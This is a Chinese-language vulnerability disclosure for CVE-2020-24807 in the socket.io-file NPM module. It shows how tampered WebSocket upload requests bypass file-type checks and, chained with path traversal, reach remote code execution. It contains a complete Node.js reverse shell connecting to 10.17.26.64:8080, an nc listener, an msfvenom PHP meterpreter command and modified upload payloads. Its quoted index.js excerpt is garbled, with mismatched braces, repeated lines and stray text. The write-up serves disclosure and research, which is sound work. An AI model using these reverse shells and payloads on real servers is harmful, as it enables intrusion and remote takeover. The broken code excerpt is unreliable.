CVE-2020-24807:绕过Socket.io-file NPM模块中的文件类型限制

 

0x00 前言

在某些渗透测试中,我们面对的目标应用安全性较高,没有太多错误配置,这意味着如果时间允许,我们需要深入分析。在某次渗透测试中,我们找到了运行在嵌入式设备上的一个web应用,该应用使用WebSocket来实现服务端和客户端之间的通信。后端系统可以采用多种技术来使用WebSocket,这里应用使用的是Socket.io。

该应用的主要功能之一就是上传文件,使用了Socket.io-file的NPM模块实现文件上传。大家可以参考此处,了解我们在该模块中最近找到的一个漏洞信息。简而言之,这是一个路径遍历漏洞,允许攻击者将文件上传到系统中web server用户具备权限的任意路径中。

如果我们可以篡改ssh_config文件,或者/etc/passwd以及/etc/shadow的话,那么这个漏洞本身就可以实现远程代码执行。但只有当web server以root权限运行时才满足该条件,所以我们需要进一步分析,才能以较低权限用户实现远程代码执行。

我们在Socket.io-file模块中找到了一个文件类型限制绕过漏洞。通过该漏洞,我们可以绕过模块配置文件中限制的文件类型。比如我们可以上传任意文件类型,通过修改底层配置文件,上传适当的shell,实现底层系统的远程代码执行。

除此之外,socket.io-file的上传功能对输入数据也存在不正确的验证逻辑,分布在代码的不同部分中。攻击者可借此绕过上传文件类型限制,将所选的文件类型上传到底层系统中。

漏洞基本信息:

CVE-ID: 2020-24807
安全公告: https://github.com/advisories/GHSA-6495-8jvh-f28x
适用版本: <= 2.0.31
测试版本: node v10.19.0, Socket.io-file v2.0.31, socket.io v2.3.0

 

0x01 漏洞描述

Socket.io-file默认配置下具备上传功能,由WebSocket负责处理。当用户尝试通过web应用上传文件时,就会发起如下客户端请求,以创建目标文件:

图1. 使用Socket.io-file上传文件时发起的正常websocket请求

42["socket.io-file::createFile",{"id":"u_0","name":"testfile.mp3","size":1,"chunkSize":10240,"sent":0,"data":{}}]

为了在底层系统中创建该文件,Socket.io-file中的index.js会被执行,如下代码会检查文件的类型(由Socket.io-file配置文件提供),根据具体类型决定接受或者终止请求:

let err = new Error('Not Acceptable file type ' + mimeType + ' of ' + filename + '. Type must be one of these: ' + this.accepts.join(', '));
return sendError(err);
}
else {
self.socket.emit(socket.io-file::complete::${id}, emitObj); self.emit('complete', emitObj);
}Tested on
}
else {
self.socket.emit(socket.io-file::complete::${id}, emitObj);
self.emit('complete', emitObj);

举个例子,如果用户上传的文件名为testfile.mp3(并且配置文件中只允许.mp3文件),那么系统就会创建一个新的.mp3文件。由于上述代码只会在客户端进行检查,并且检查操作比创建WebSocket请求要早,因此上传请求可以被拦截,篡改其中的文件名,这样我们就可以篡改在服务端中创建的文件类型。比如我们可以使用如下payload完成该攻击:

42["socket.io-file::createFile",{"id":"u_0","name":"testfile.php","size":1,"chunkSize":10240,"sent":0,"data":{}}]

为了绕过客户端限制,我们需要将原始文件重命名为web应用接受的文件类型(这里为.mp3)。拦截请求后,我们可以修回文件类型(比如.php),服务端不会进行任何检查。这样我们可以在底层系统中创建一个.php文件,绕过了文件类型检查。

此外,我们可以将该漏洞与之前我们找到的路径遍历漏洞结合起来,在某些配置情况下实现代码执行,具体场景如下文所述。

 

0x02 组合漏洞实现RCE

现在我们可以在目标服务器目录中上传任意文件类型,这意味着在某些配置情况下,我们可以在底层系统中实现代码执行。

场景1:修改配置文件

我们可以修改配置文件,在web server中添加恶意javascript库,修改index.html来加载这些库。比如我们可以修改index.html,拷贝其中内容,添加一个<script>标签,包含目标js文件。

随后我们可以上传一个.js文件(与修改过的index.html文件中的文件名对应,由服务端加载),该文件中包含如下代码:

(function(){
var net = require(“net”),
cp = require(“child_process”),
sh = cp.spawn(“/bin/sh”, []);
var client = new net.Socket();
client.connect(8080, “10.17.26.64”, function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application from crashing
})();

这个反弹shell只适用于特定错误配置的Node.js安装环境,但在实际环境中我们经常会碰到这类环境。我们可以修改监听端的IP及端口(攻击端可以运行nc -lnvp 8080命令),获得反弹shell,在目标系统中执行命令。

场景2:利用特定的配置文件漏洞

在实际环境中,可能存在许多不同的配置场景,这些配置中运行着存在漏洞的模块,比如运行着PHP的node.js服务器。这听上去非常玄幻,但的确有些多功能服务器支持这种场景,此时漏洞利用起来就相对比较容易。

我们可以使用msfvenom,运行如下命令来创建PHP反向shell:

msfvenom -p php/meterpreter_reverse_tcp LHOST=10.17.26.64 LPORT=4443 -f raw > shell.mp3

图2. 创建PHP反向shell,开始监听

这样当服务端执行该php文件后,我们可以在监听端收到反弹shell。为了使用我们的组合漏洞来上传文件,我们可以修改上传文件的WebSocket请求:

42[“socket.io-file::createFile”,{“id”:”u_0″,”name”:”../public/shell.php”,”size”:1,”chunkSize”:10240,”sent”:0,”data”:{}}]

图3. 原始上传请求与修改过的请求对比

这样我们可以将文件上传到web server的public目录,在当前配置中可以被访问到。然后通过浏览器来执行php shell,在攻击端收到反弹shell:

图4. 成功执行远程代码

 

0x03 漏洞复现

为了复现该漏洞,我们可以执行如下操作:

1、设置代理,以拦截HTTP及WebSocket请求(比如Burp Suite或者OWASP Zap)。

2、创建web应用可接受的文件类型(文件内容任意)。

3、使用Socket.io-file上传文件,拦截WebSocket请求。

4、修改name参数,改成我们所需的文件类型,如42[“socket.io-file::createFile”,{“id”:”u_0″,”name”:”testfile.php”,”size”:1,”chunkSize”:10240,”sent”:0,”data”:{}}],这样就能以当前用户权限在data目录创建testfile.php(测试环境中,服务器存储文件的路径为/home/ubuntutest/Documents/socket-app/data)。

 

0x04 时间线

2020年7月31日:提交漏洞

2020年8月11日:安全团队验证漏洞

2020年10月2日:发布安全公告

2020年10月6日:分配CVE ID

(完)